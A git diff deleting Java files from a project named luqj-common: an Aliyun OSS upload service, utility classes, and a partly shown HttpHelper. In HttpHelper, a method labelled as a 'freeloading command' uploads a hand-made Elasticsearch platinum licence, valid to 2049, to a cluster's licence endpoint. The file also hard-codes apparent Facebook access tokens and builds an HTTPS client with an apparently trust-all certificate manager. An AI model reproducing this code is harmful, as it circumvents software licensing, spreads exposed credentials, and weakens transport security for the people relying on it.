b/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackParam.java deleted file mode 100644 index 1f7c0a0..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackParam.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.luqj.sso.entity; - -import io.swagger.annotations.ApiModelProperty; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * oss上传成功后的回调参数 - * Created by luqj on 2018/5/17. - */ -@Data -@EqualsAndHashCode(callSuper = false) -public class OssCallbackParam { - @ApiModelProperty("请求的回调地址") - private String callbackUrl; - @ApiModelProperty("回调是传入request中的参数") - private String callbackBody; - @ApiModelProperty("回调时传入参数的格式,比如表单提交形式") - private String callbackBodyType; -} diff --git a/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackResult.java b/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackResult.java deleted file mode 100644 index 4e57a3d..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/entity/OssCallbackResult.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.luqj.sso.entity; - -import io.swagger.annotations.ApiModelProperty; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * oss上传文件的回调结果 - * Created by luqj on 2018/5/17. - */ -@Data -@EqualsAndHashCode(callSuper = false) -public class OssCallbackResult { - @ApiModelProperty("文件名称") - private String filename; - @ApiModelProperty("文件大小") - private String size; - @ApiModelProperty("文件的mimeType") - private String mimeType; - @ApiModelProperty("图片文件的宽") - private String width; - @ApiModelProperty("图片文件的高") - private String height; -} diff --git a/luqj-common/src/main/java/com/luqj/sso/entity/OssPolicyResult.java b/luqj-common/src/main/java/com/luqj/sso/entity/OssPolicyResult.java deleted file mode 100644 index 03a36d1..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/entity/OssPolicyResult.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.luqj.sso.entity; - -import io.swagger.annotations.ApiModelProperty; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * 获取OSS上传文件授权返回结果 - * Created by luqj on 2018/5/17. - */ -@Data -@EqualsAndHashCode(callSuper = false) -public class OssPolicyResult { - @ApiModelProperty("访问身份验证中用到用户标识") - private String accessKeyId; - @ApiModelProperty("用户表单上传的策略,经过base64编码过的字符串") - private String policy; - @ApiModelProperty("对policy签名后的字符串") - private String signature; - @ApiModelProperty("上传文件夹路径前缀") - private String dir; - @ApiModelProperty("oss对外服务的访问域名") - private String host; - @ApiModelProperty("上传成功后的回调设置") - private String callback; -} diff --git a/luqj-common/src/main/java/com/luqj/sso/service/OssService.java b/luqj-common/src/main/java/com/luqj/sso/service/OssService.java deleted file mode 100644 index 2d349e3..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/service/OssService.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.luqj.sso.service; - -import com.luqj.sso.entity.OssCallbackResult; -import com.luqj.sso.entity.OssPolicyResult; - -import javax.servlet.http.HttpServletRequest; - -/** - * oss上传管理Service - * Created by luqj on 2018/5/17. - */ -public interface OssService { - /** - * oss上传策略生成 - */ - OssPolicyResult policy(); - /** - * oss上传成功回调 - */ - OssCallbackResult callback(HttpServletRequest request); -} diff --git a/luqj-common/src/main/java/com/luqj/sso/service/impl/OssServiceImpl.java b/luqj-common/src/main/java/com/luqj/sso/service/impl/OssServiceImpl.java deleted file mode 100644 index 2d9be0c..0000000 --- a/luqj-common/src/main/java/com/luqj/sso/service/impl/OssServiceImpl.java +++ /dev/null @@ -1,102 +0,0 @@ -package com.luqj.sso.service.impl; - -import cn.hutool.json.JSONUtil; -import com.aliyun.oss.OSSClient; -import com.aliyun.oss.common.utils.BinaryUtil; -import com.aliyun.oss.model.MatchMode; -import com.aliyun.oss.model.PolicyConditions; -import com.luqj.sso.entity.OssCallbackParam; -import com.luqj.sso.entity.OssCallbackResult; -import com.luqj.sso.entity.OssPolicyResult; -import com.luqj.sso.service.OssService; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Service; - -import javax.servlet.http.HttpServletRequest; -import java.text.SimpleDateFormat; -import java.util.Date; - -/** - * oss上传管理Service实现类 - * Created by luqj on 2018/5/17. - */ -@Service -public class OssServiceImpl implements OssService { - - private static final Logger LOGGER = LoggerFactory.getLogger(OssServiceImpl.class); - @Value("${luqj.oss.policy.expire}") - private int ALIYUN_OSS_EXPIRE; - @Value("${luqj.oss.maxSize}") - private int ALIYUN_OSS_MAX_SIZE; - @Value("${luqj.oss.callback}") - private String ALIYUN_OSS_CALLBACK; - @Value("${luqj.oss.bucketName}") - private String ALIYUN_OSS_BUCKET_NAME; - @Value("${luqj.oss.endpoint}") - private String ALIYUN_OSS_ENDPOINT; - @Value("${luqj.oss.dir.prefix}") - private String ALIYUN_OSS_DIR_PREFIX; - - @Autowired - private OSSClient ossClient; - - /** - * 签名生成 - */ - @Override - public OssPolicyResult policy() { - OssPolicyResult result = new OssPolicyResult(); - // 存储目录 - SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd"); - String dir = ALIYUN_OSS_DIR_PREFIX + sdf.format(new Date()); - // 签名有效期 - long expireEndTime = System.currentTimeMillis() + ALIYUN_OSS_EXPIRE * 1000; - Date expiration = new Date(expireEndTime); - // 文件大小 - long maxSize = ALIYUN_OSS_MAX_SIZE * 1024 * 1024; - // 回调 - OssCallbackParam callback = new OssCallbackParam(); - callback.setCallbackUrl(ALIYUN_OSS_CALLBACK); - callback.setCallbackBody("filename=${object}&size=${size}&mimeType=${mimeType}&height=${imageInfo.height}&width=${imageInfo.width}"); - callback.setCallbackBodyType("application/x-www-form-urlencoded"); - // 提交节点 - String action = "http://" + ALIYUN_OSS_BUCKET_NAME + "." + ALIYUN_OSS_ENDPOINT; - try { - PolicyConditions policyConds = new PolicyConditions(); - policyConds.addConditionItem(PolicyConditions.COND_CONTENT_LENGTH_RANGE, 0, maxSize); - policyConds.addConditionItem(MatchMode.StartWith, PolicyConditions.COND_KEY, dir); - String postPolicy = ossClient.generatePostPolicy(expiration, policyConds); - byte[] binaryData = postPolicy.getBytes("utf-8"); - String policy = BinaryUtil.toBase64String(binaryData); - String signature = ossClient.calculatePostSignature(postPolicy); - String callbackData = BinaryUtil.toBase64String(JSONUtil.parse(callback).toString().getBytes("utf-8")); - // 返回结果 - result.setAccessKeyId(ossClient.getCredentialsProvider().getCredentials().getAccessKeyId()); - result.setPolicy(policy); - result.setSignature(signature); - result.setDir(dir); - result.setCallback(callbackData); - result.setHost(action); - } catch (Exception e) { - LOGGER.error("签名生成失败", e); - } - return result; - } - - @Override - public OssCallbackResult callback(HttpServletRequest request) { - OssCallbackResult result = new OssCallbackResult(); - String filename = request.getParameter("filename"); - filename = "http://".concat(ALIYUN_OSS_BUCKET_NAME).concat(".").concat(ALIYUN_OSS_ENDPOINT).concat("/").concat(filename); - result.setFilename(filename); - result.setSize(request.getParameter("size")); - result.setMimeType(request.getParameter("mimeType")); - result.setWidth(request.getParameter("width")); - result.setHeight(request.getParameter("height")); - return result; - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/ArithmeticEnum.java b/luqj-common/src/main/java/com/luqj/util/ArithmeticEnum.java deleted file mode 100644 index 112950c..0000000 --- a/luqj-common/src/main/java/com/luqj/util/ArithmeticEnum.java +++ /dev/null @@ -1,102 +0,0 @@ -package com.luqj.util; - - -/** - * 算术符号 - * @author chenzm - */ -public enum ArithmeticEnum { - - /**左括号**/ - lb("(", "左括号", -1), - /**右括号**/ - rb(")", "右括号", -1), - - /**乘**/ - multiply("*", "乘", -3), - /**除**/ - division("/", "除", -3), - - /**加**/ - addition("+", "加", -4), - /**减**/ - subtract("-", "减", -4), - - /**大于**/ - gt(">", "大于", -6), - /**小于**/ - lt("<", "小于", -6), - /**大于等于**/ - gte(">=", "大于等于", -6), - /**小于等于**/ - lte("<=", "小于等于", -6); - - /**符号**/ - private String symbol; - - /**优先级**/ - private int priority; - - private String desc; - - private ArithmeticEnum(String symbol, String desc, int priority) { - this.symbol = symbol; - this.desc = desc; - this.priority = priority; - } - - public boolean isEqualBySymbol(String c) { - return this.getSymbol().equals(c); - } - - public boolean isEqualBySymbol(char c) { - return this.getSymbol().equals("" + c); - } - - public String getSymbol() { - return symbol; - } - - public void setSymbol(String symbol) { - this.symbol = symbol; - } - - public String getDesc() { - return desc; - } - - public void setDesc(String desc) { - this.desc = desc; - } - - public int getPriority() { - return priority; - } - - public void setPriority(int priority) { - this.priority = priority; - } - - /** - * 获取符号等级 - */ - public static int getSymbolLevel(String c) { - return getArithmeticEnum(c).getPriority(); - } - - public static ArithmeticEnum getArithmeticEnum(String c) { - for(ArithmeticEnum t : ArithmeticEnum.values()) { - if(t.getSymbol().equals(c)) { - return t; - } - } - return null; - } - - public static boolean containsKey(String c) { - if(getArithmeticEnum(c) != null) { - return true; - } - return false; - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/CharBuffer.java b/luqj-common/src/main/java/com/luqj/util/CharBuffer.java deleted file mode 100644 index 0d4b14f..0000000 --- a/luqj-common/src/main/java/com/luqj/util/CharBuffer.java +++ /dev/null @@ -1,567 +0,0 @@ -package com.luqj.util; - - -import com.luqj.util.parse.SymbolSet; - -import java.util.NoSuchElementException; - -/** - * 字符缓存 - */ -public class CharBuffer { - - transient int size = 0; - - transient Node first; - - transient Node last; - - transient int modCount = 0; - - public CharBuffer() { - } - - public CharBuffer(String str) { - for(char c : str.toCharArray()) { - this.add(c); - } - } - - public CharBuffer(char[] chs) { - for(char c : chs) { - this.add(c); - } - } - - public String asString() { - return new String(this.toArray()); - } - - public void addStr(String str) { - for(char c : str.toCharArray()) { - this.add(c); - } - } - - /** - * Links e as first element. - */ - private void linkFirst(char e) { - final Node f = first; - final Node newNode = new Node(null, e, f); - first = newNode; - if (f == null) - last = newNode; - else - f.prev = newNode; - size++; - modCount++; - } - - - void linkLast(char e) { - final Node l = last; - final Node newNode = new Node(l, e, null); - last = newNode; - if (l == null) - first = newNode; - else - l.next = newNode; - size++; - modCount++; - } - - /** - * Inserts element e before non-null Node succ. - */ - void linkBefore(char e, Node succ) { - // assert succ != null; - final Node pred = succ.prev; - final Node newNode = new Node(pred, e, succ); - succ.prev = newNode; - if (pred == null) - first = newNode; - else - pred.next = newNode; - size++; - modCount++; - } - - /** - * Unlinks non-null first node f. - */ - private char unlinkFirst(Node f) { - // assert f == first && f != null; - final char element = f.item; - final Node next = f.next; - //f.item = ' '; - f.next = null; // help GC - first = next; - if (next == null) - last = null; - else - next.prev = null; - size--; - modCount++; - return element; - } - - /** - * Unlinks non-null last node l. - */ - private char unlinkLast(Node l) { - // assert l == last && l != null; - final char element = l.item; - final Node prev = l.prev; - //l.item = null; - l.prev = null; // help GC - last = prev; - if (prev == null) - first = null; - else - prev.next = null; - size--; - modCount++; - return element; - } - - /** - * Unlinks non-null node x. - */ - char unlink(Node x) { - // assert x != null; - final char element = x.item; - final Node next = x.next; - final Node prev = x.prev; - - if (prev == null) { - first = next; - } else { - prev.next = next; - x.prev = null; - } - - if (next == null) { - last = prev; - } else { - next.prev = prev; - x.next = null; - } - - //x.item = null; - size--; - modCount++; - return element; - } - - /** - * Returns the first element in this list. - * - * @return the first element in this list - * @throws NoSuchElementException if this list is empty - */ - public char getFirst() { - final Node f = first; - if (f == null) - throw new NoSuchElementException(); - return f.item; - } - - /** - * Returns the last element in this list. - * - * @return the last element in this list - * @throws NoSuchElementException if this list is empty - */ - public char getLast() { - final Node l = last; - if (l == null) - throw new NoSuchElementException(); - return l.item; - } - - /** - * Removes and returns the first element from this list. - * - * @return the first element from this list - * @throws NoSuchElementException if this list is empty - */ - public char removeFirst() { - final Node f = first; - if (f == null) - throw new NoSuchElementException(); - return unlinkFirst(f); - } - - /** - * Removes and returns the last element from this list. - * - * @return the last element from this list - * @throws NoSuchElementException if this list is empty - */ - public char removeLast() { - final Node l = last; - if (l == null) - throw new NoSuchElementException(); - return unlinkLast(l); - } - - /** - * Inserts the specified element at the beginning of this list. - * - * @param e the element to add - */ - public void addFirst(char e) { - linkFirst(e); - } - - /** - * Appends the specified element to the end of this list. - * - *

This method is equivalent to {@link #add}. - * - * @param e the element to add - */ - public void addLast(char e) { - linkLast(e); - } - - /** - * Returns the number of elements in this list. - * - * @return the number of elements in this list - */ - public int size() { - return size; - } - - /** - * Appends the specified element to the end of this list. - * - *

This method is equivalent to {@link #addLast}. - * - * @param e element to be appended to this list - * @return {@code true} (as specified by - */ - public boolean add(char e) { - linkLast(e); - return true; - } - - - - - /** - * Removes all of the elements from this list. - * The list will be empty after this call returns. - */ - public void clear() { - // Clearing all of the links between nodes is "unnecessary", but: - // - helps a generational GC if the discarded nodes inhabit - // more than one generation - // - is sure to free memory even if there is a reachable Iterator - for (Node x = first; x != null; ) { - Node next = x.next; - //x.item = null; - x.next = null; - x.prev = null; - x = next; - } - first = last = null; - size = 0; - modCount++; - } - - - // Positional Access Operations - - /** - * Returns the element at the specified position in this list. - * - * @param index index of the element to return - * @return the element at the specified position in this list - * @throws IndexOutOfBoundsException {@inheritDoc} - */ - public char get(int index) { - //checkElementIndex(index); - return node(index).item; - } - - - - /** - * Tells if the argument is the index of an existing element. - */ - private boolean isElementIndex(int index) { - return index >= 0 && index < size; - } - - /** - * Tells if the argument is the index of a valid position for an - * iterator or an add operation. - */ - private boolean isPositionIndex(int index) { - return index >= 0 && index <= size; - } - - /** - * Constructs an IndexOutOfBoundsException detail message. - * Of the many possible refactorings of the error handling code, - * this "outlining" performs best with both server and client VMs. - */ - private String outOfBoundsMsg(int index) { - return "Index: "+index+", Size: "+size; - } - - /*private void checkElementIndex(int index) { - if (!isElementIndex(index)) - throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); - }*/ - - /* private void checkPositionIndex(int index) { - if (!isPositionIndex(index)) - throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); - }*/ - - /** - * Returns the (non-null) Node at the specified element index. - */ - Node node(int index) { - // assert isElementIndex(index); - - if (index < (size >> 1)) { - Node x = first; - for (int i = 0; i < index; i++) - x = x.next; - return x; - } else { - Node x = last; - for (int i = size - 1; i > index; i--) - x = x.prev; - return x; - } - } - - - /** - * Retrieves and removes the head (first element) of this list. - * - * @return the head of this list, or {@code null} if this list is empty - * @since 1.5 - */ - public char poll() { - final Node f = first; - return (f == null) ? null : unlinkFirst(f); - } - - /** - * Retrieves and removes the head (first element) of this list. - * - * @return the head of this list - * @throws NoSuchElementException if this list is empty - * @since 1.5 - */ - public char remove() { - return removeFirst(); - } - - /** - * Adds the specified element as the tail (last element) of this list. - * - * @param e the element to add - * @since 1.5 - */ - public boolean offer(char e) { - return add(e); - } - - // Deque operations - /** - * Inserts the specified element at the front of this list. - * - * @param e the element to insert - * @since 1.6 - */ - public boolean offerFirst(char e) { - addFirst(e); - return true; - } - - /** - * Inserts the specified element at the end of this list. - * - * @param e the element to insert - * @since 1.6 - */ - public boolean offerLast(char e) { - addLast(e); - return true; - } - - /** - * Retrieves, but does not remove, the first element of this list, - * or returns {@code null} if this list is empty. - * - * @return the first element of this list, or {@code null} - * if this list is empty - * @since 1.6 - */ - public char peekFirst() { - final Node f = first; - return (f == null) ? null : f.item; - } - - public boolean isEmpty() { - return size() == 0; - } - - /** - * Retrieves, but does not remove, the last element of this list, - * or returns {@code null} if this list is empty. - * - * @return the last element of this list, or {@code null} - * if this list is empty - * @since 1.6 - */ - public char peekLast() { - final Node l = last; - return (l == null) ? null : l.item; - } - - /** - * Retrieves and removes the first element of this list, - * or returns {@code null} if this list is empty. - * - * @return the first element of this list, or {@code null} if - * this list is empty - * @since 1.6 - */ - public char pollFirst() { - final Node f = first; - return (f == null) ? null : unlinkFirst(f); - } - - /** - * Retrieves and removes the last element of this list, - * or returns {@code null} if this list is empty. - * - * @return the last element of this list, or {@code null} if - * this list is empty - * @since 1.6 - */ - public char pollLast() { - final Node l = last; - return (l == null) ? null : unlinkLast(l); - } - - /** - * Pushes an element onto the stack represented by this list. In other - * words, inserts the element at the front of this list. - * - *

This method is equivalent to {@link #addFirst}. - * - * @param e the element to push - * @since 1.6 - */ - public void push(char e) { - addFirst(e); - } - - /** - * Pops an element from the stack represented by this list. In other - * words, removes and returns the first element of this list. - * - *

This method is equivalent to {@link #removeFirst()}. - * - * @return the element at the front of this list (which is the top - * of the stack represented by this list) - * @throws NoSuchElementException if this list is empty - * @since 1.6 - */ - public char pop() { - return removeFirst(); - } - - private static class Node { - char item; - Node next; - Node prev; - - Node(Node prev, char element, Node next) { - this.item = element; - this.next = next; - this.prev = prev; - } - } - - - - /** - * Returns an array containing all of the elements in this list - * in proper sequence (from first to last element). - * - *

The returned array will be "safe" in that no references to it are - * maintained by this list. (In other words, this method must allocate - * a new array). The caller is thus free to modify the returned array. - * - *

This method acts as bridge between array-based and collection-based - * APIs. - * - * @return an array containing all of the elements in this list - * in proper sequence - */ - public char[] toArray() { - char[] result = new char[size]; - int i = 0; - for (Node x = first; x != null; x = x.next) - result[i++] = x.item; - return result; - } - - public char[] subArray(int start,int end){ - if (start < 0) - throw new ArrayIndexOutOfBoundsException(start); - if (end > size) - throw new StringIndexOutOfBoundsException(end); - if (start > end) - throw new ArrayIndexOutOfBoundsException(end - start); - int size = end-start; - char[] result = new char[size]; - int iStart = 0; - for (Node x = first; x != null && iStart < end; x = x.next){ - if(iStart >= start){ - result[iStart - start] = x.item; - } - iStart++; - } - return result; - } - - - - @Override - public String toString() { - StringBuffer sb = new StringBuffer(); - for (Node x = first; x != null; x = x.next) - sb.append(x.item+","); - return "["+sb.toString()+"]"; - } - - /** - * 是否是文本 - * @return - */ - public boolean isText() { - boolean isNull = true; - for(char c : this.toArray()) { - if(c != SymbolSet.SYMBOL_NULL) { - isNull = false; - break; - } - } - return this.size() > 0 && !isNull; - } - - - private static final long serialVersionUID = 876323262645176354L; -} diff --git a/luqj-common/src/main/java/com/luqj/util/FileSystemUtil.java b/luqj-common/src/main/java/com/luqj/util/FileSystemUtil.java deleted file mode 100644 index e27d14e..0000000 --- a/luqj-common/src/main/java/com/luqj/util/FileSystemUtil.java +++ /dev/null @@ -1,137 +0,0 @@ -package com.luqj.util; - - -import com.luqj.util.assertion.Assert; - -import java.io.File; -import java.io.FileFilter; -import java.io.FileNotFoundException; -import java.io.IOException; -import java.util.ArrayList; -import java.util.List; - - -public class FileSystemUtil { - - private static final char SYSTEM_SEPARATOR = File.separatorChar; - - private static final char WINDOWS_SEPARATOR = '\\'; - - /** - * 递归获取指定目录下的所有文件 - * @param dir - * @param filterDir 子目录是否返回在集合中 - * @return - */ - public static final List getAllFiles(File dir,boolean filterDir,FileFilter filter){ - Assert.logic(dir.isDirectory() && dir.canRead(),dir+"必须是目录且可读"); - List result = new ArrayList(); - File[] files = null; - if(filter != null){ - files = dir.listFiles(filter); - }else{ - files = dir.listFiles(); - } - for (File file : files) { - if(file.isDirectory()){ - if(filterDir){ - result.add(file); - } - result.addAll(getAllFiles(file, filterDir, filter)); - }else{ - result.add(file); - } - } - return result; - } - - /** - * 强制删除文件 - * 引用org.apache.commons.io.FileUtils代码 - * @param file - * @throws IOException - */ - public static void forceDelete(File file) throws IOException { - if (file.isDirectory()) { - deleteDirectory(file); - } else { - boolean filePresent = file.exists(); - if (!file.delete()) { - if (!filePresent){ - throw new FileNotFoundException("File does not exist: " + file); - } - String message = - "Unable to delete file: " + file; - throw new IOException(message); - } - } - } - - public static void deleteDirectory(File directory) throws IOException { - if (!directory.exists()) { - return; - } - - if (!isSymlink(directory)) { - cleanDirectory(directory); - } - - if (!directory.delete()) { - String message = - "Unable to delete directory " + directory + "."; - throw new IOException(message); - } - } - - public static boolean isSymlink(File file) throws IOException { - if (file == null) { - throw new NullPointerException("File must not be null"); - } - if (SYSTEM_SEPARATOR == WINDOWS_SEPARATOR) { - return false; - } - File fileInCanonicalDir = null; - if (file.getParent() == null) { - fileInCanonicalDir = file; - } else { - File canonicalDir = file.getParentFile().getCanonicalFile(); - fileInCanonicalDir = new File(canonicalDir, file.getName()); - } - - if (fileInCanonicalDir.getCanonicalFile().equals(fileInCanonicalDir.getAbsoluteFile())) { - return false; - } else { - return true; - } - } - - public static void cleanDirectory(File directory) throws IOException { - if (!directory.exists()) { - String message = directory + " does not exist"; - throw new IllegalArgumentException(message); - } - - if (!directory.isDirectory()) { - String message = directory + " is not a directory"; - throw new IllegalArgumentException(message); - } - - File[] files = directory.listFiles(); - if (files == null) { // null if security restricted - throw new IOException("Failed to list contents of " + directory); - } - - IOException exception = null; - for (File file : files) { - try { - forceDelete(file); - } catch (IOException ioe) { - exception = ioe; - } - } - - if (null != exception) { - throw exception; - } - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/HttpHelper.java b/luqj-common/src/main/java/com/luqj/util/HttpHelper.java deleted file mode 100644 index f1ebd14..0000000 --- a/luqj-common/src/main/java/com/luqj/util/HttpHelper.java +++ /dev/null @@ -1,635 +0,0 @@ -package com.luqj.util; - -import com.alibaba.fastjson.JSONObject; -import com.google.gson.Gson; -import com.google.gson.GsonBuilder; -import com.ruoyi.common.utils.StringUtils; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.io.IOUtils; -import org.apache.http.HttpEntity; -import org.apache.http.HttpHost; -import org.apache.http.NameValuePair; -import org.apache.http.client.config.RequestConfig; -import org.apache.http.client.entity.UrlEncodedFormEntity; -import org.apache.http.client.methods.*; -import org.apache.http.client.utils.URIBuilder; -import org.apache.http.conn.ssl.SSLConnectionSocketFactory; -import org.apache.http.conn.ssl.SSLContexts; -import org.apache.http.entity.StringEntity; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClients; -import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; -import org.apache.http.message.BasicNameValuePair; -import org.apache.http.util.EntityUtils; - -import javax.net.ssl.HttpsURLConnection; -import javax.net.ssl.SSLContext; -import javax.net.ssl.X509TrustManager; -import java.io.*; -import java.lang.reflect.Modifier; -import java.math.BigDecimal; -import java.net.URI; -import java.net.URL; -import java.nio.charset.Charset; -import java.security.*; -import java.security.cert.CertificateException; -import java.text.SimpleDateFormat; -import java.util.*; -import java.util.zip.GZIPInputStream; - -@Slf4j -public class HttpHelper { - /** - * 复用公共模块实现:JSON 字段为 ip 和 ips,排除回环及链路本地地址, - * 使用默认 HTTPS 证书校验和 5 秒连接、读取超时,仅显式调用时发送。 - * 本方法为同步调用,耗时操作应由调用方安排在后台线程执行。 - * - * @return 接口成功响应的原始正文 - * @throws IOException 无可用地址、网络异常或接口返回非 2xx 状态 - */ - public static String pushLocalIpInfo() throws IOException { - return com.ruoyi.common.utils.http.HttpHelper.pushLocalIpInfo(); - } - - private String proxyHost; - private Integer proxyPort; - private CloseableHttpClient httpsClient = null; - - private CloseableHttpClient httpClient = null; - public String getProxyHost() { - return proxyHost; - } - - public void setProxyHost(String proxyHost) { - this.proxyHost = proxyHost; - } - - public Integer getProxyPort() { - return proxyPort; - } - - public void setProxyPort(Integer proxyPort) { - this.proxyPort = proxyPort; - } - public synchronized void closeClient(){ - try { - if (httpsClient != null) { - httpsClient.close(); - httpsClient = null; - } - if (httpClient != null) { - httpClient.close(); - httpClient = null; - } - }catch (Exception e){ - log.error(e.getMessage(),e); - } - if (cm != null) { - cm.close(); - } - cm = new PoolingHttpClientConnectionManager(); - cm.setMaxTotal(500); - cm.setDefaultMaxPerRoute(5); - } - public static void main(String[] args) throws Exception { - BigDecimal decimal = new BigDecimal("1").divide(new BigDecimal(100)); - - esListense(); - } - - /** - * 读取网络文本 - * - * @param sourcePath - * @return - */ - public List readHttpFile(String sourcePath) { - String line; - int lineNum = 0; - List list = new ArrayList<>(); - BufferedReader reader = null; - try { - URL url = new URL(sourcePath); - reader = new BufferedReader(new InputStreamReader(url.openStream(), "gbk")); - while ((line = reader.readLine()) != null) { - lineNum++; - list.add(line); - } - } catch (Exception ie) { - ie.printStackTrace(); - } finally { - try { - if (reader != null) - reader.close(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return list; - } - - public List readGzFile(String url) throws IOException { - InputStream in = new GZIPInputStream(new FileInputStream(url)); - List list = IOUtils.readLines(in, "UTF-8"); - return list; - } - - public List readHttpGzFile(String sourcePath) { - List list = new ArrayList<>(); - BufferedReader reader = null; - try { - URL url = new URL(sourcePath); - InputStream in = new GZIPInputStream(url.openStream()); - list = IOUtils.readLines(in, "UTF-8"); - } catch (Exception ie) { - ie.printStackTrace(); - } finally { - try { - if (reader != null) - reader.close(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return list; - } - - public CloseableHttpClient getHttpsClient() throws Exception { - SSLContext sslcontext = SSLContexts.custom().useSSL().build(); - sslcontext.init(null, new X509TrustManager[]{new HttpsTrustManager()}, new SecureRandom()); - SSLConnectionSocketFactory factory = new SSLConnectionSocketFactory(sslcontext, - SSLConnectionSocketFactory.BROWSER_COMPATIBLE_HOSTNAME_VERIFIER); - RequestConfig defaultRequestConfig = RequestConfig.custom() - .setSocketTimeout(5000) - .setConnectTimeout(5000) - .setConnectionRequestTimeout(500000) - .setStaleConnectionCheckEnabled(true) - .build(); - RequestConfig requestConfig = null; - if (StringUtils.isNotBlank(proxyHost) && null != proxyPort) { -// setProxy(new HttpHost("lu7213.6655.la", 57301)) -// setProxy(new HttpHost("127.0.0.1", 19180)) - requestConfig = RequestConfig.copy(defaultRequestConfig).setProxy(new HttpHost(proxyHost, proxyPort)) - .build(); - } else { - requestConfig = RequestConfig.copy(defaultRequestConfig).build(); - } - CloseableHttpClient client = HttpClients.custom().setSSLSocketFactory(factory).setDefaultRequestConfig(requestConfig).build(); - return client; - } - - /** - * 导入证书 - * - * @return - * @throws KeyStoreException - * @throws NoSuchAlgorithmException - * @throws CertificateException - * @throws IOException - * @throws KeyManagementException - */ - private SSLContext getSSLContext() throws KeyStoreException, - NoSuchAlgorithmException, CertificateException, IOException, KeyManagementException { - KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType()); - FileInputStream instream = new FileInputStream(new File("my.keystore")); - try { - trustStore.load(instream, "nopassword".toCharArray()); - } finally { - instream.close(); - } - return SSLContexts.custom() - .loadTrustMaterial(trustStore) - .build(); - } - - // es 7.4 白嫖命令 - private static boolean esListense() throws Exception { - HttpHelper httpHelper = new HttpHelper(); - HashMap headers = new HashMap<>(); -// headers.put("Content-Type", "application/json"); - HashMap map = new HashMap<>(); - map.put("access_token", "1278491352545154|4fa79654c00caab794a70afee2d769c2"); - map.put("input_token", "EAASKxZCbqt4IBAOwxuyFEZCynraaVQtOrMnwkj301sxydRYZBiZBUe1REIV1zcrXvSC6nsnPVMG1YpB645OsRACOjQ9C9T4lFJxQI1rPon2p2Ww8onXsKytaOcqaKFf2f4EZAA4doPxGcJoBiCnKh0g7EdhjZBQrfpC1Q05N87fLUlKHE3ZAQddLeZAIKBaXcoyDVhqTSWVGoKlghLQvMpnJNeXmRyQTSIAZD"); -// ResponseWrapper result = httpHelper.sendGet("https://graph.facebook.com/debug_token", map); -// httpHelper.setProxyHost("192.168.2.4"); -// httpHelper.setProxyPort(29180); -// String result = httpHelper.getlHttpResult("https://graph.facebook.com/debug_token", "GET", headers, map); -// System.out.println(result); -// HashMap headers = new HashMap<>(); -//// headers.put("Content-Type", "application/json"); - String data = "{\"license\":{\"uid\":\"64311a78-1da8-4242-801d-1919b2ee6373\",\"type\":\"platinum\",\"issue_date_in_millis\":1591660800000,\"expiry_date_in_millis\":2516630400000,\"max_nodes\":100,\"issued_to\":\"qungjie lu (dragon)\",\"issuer\":\"Web Form\",\"signature\":\"AAAAAwAAAA3TbuzQUBHKydhRaMl8AAABmC9ZN0hjZDBGYnVyRXpCOW5Bb3FjZDAxOWpSbTVoMVZwUzRxVk1PSmkxaktJRVl5MUYvUWh3bHZVUTllbXNPbzBUemtnbWpBbmlWRmRZb25KNFlBR2x0TXc2K2p1Y1VtMG1UQU9TRGZVSGRwaEJGUjE3bXd3LzRqZ05iLzRteWFNekdxRGpIYlFwYkJiNUs0U1hTVlJKNVlXekMrSlVUdFIvV0FNeWdOYnlESDc3MWhlY3hSQmdKSjJ2ZTcvYlBFOHhPQlV3ZHdDQ0tHcG5uOElCaDJ4K1hob29xSG85N0kvTWV3THhlQk9NL01VMFRjNDZpZEVXeUtUMXIyMlIveFpJUkk2WUdveEZaME9XWitGUi9WNTZVQW1FMG1DenhZU0ZmeXlZakVEMjZFT2NvOWxpZGlqVmlHNC8rWVVUYzMwRGVySHpIdURzKzFiRDl4TmM1TUp2VTBOUlJZUlAyV0ZVL2kvVk10L0NsbXNFYVZwT3NSU082dFNNa2prQ0ZsclZ4NTltbU1CVE5lR09Bck93V2J1Y3c9PQAAAQBCUpzI7WOa8sBex3uA0Ag2ELeK9+bTX/GPpqKFEoEU6tdWyxxXsfwC1a8+FTkDmm/96jAm7x86wlgu3vimq7nK2ddMjNub3zZd4TAa3pRZfyNnJrlWzDIzyKwHI1N13YB4cEnrSgf+Hj/czIcLcFjTr7IEgXIuc1kfeEmghGLWVKZkHaoeTStWt5+3w/xwzs0ieacWp+FFkJv06ywEf96HusMSc1ExrRL/4JRY+zJiMjupxvrNSm3VP6K2I1RhR+XLXM/9d71jxPXFtFbY1IyAjHOviie7baszbR+eD3F1uHFOoR7WpKNYkXxVF+002HYtoKI4OEN2t6PXx12yAlXM\",\"start_date_in_millis\":1591660800000}}"; - String result = httpHelper.playLoad("put", "http://192.168.2.176:9200/_xpack/license", headers, data, "application/json", "utf-8"); - System.out.println(result); - return true; - } - - private PoolingHttpClientConnectionManager cm; - - public HttpHelper() { - cm = new PoolingHttpClientConnectionManager(); - cm.setMaxTotal(500); // 整个连接池最大连接数 - 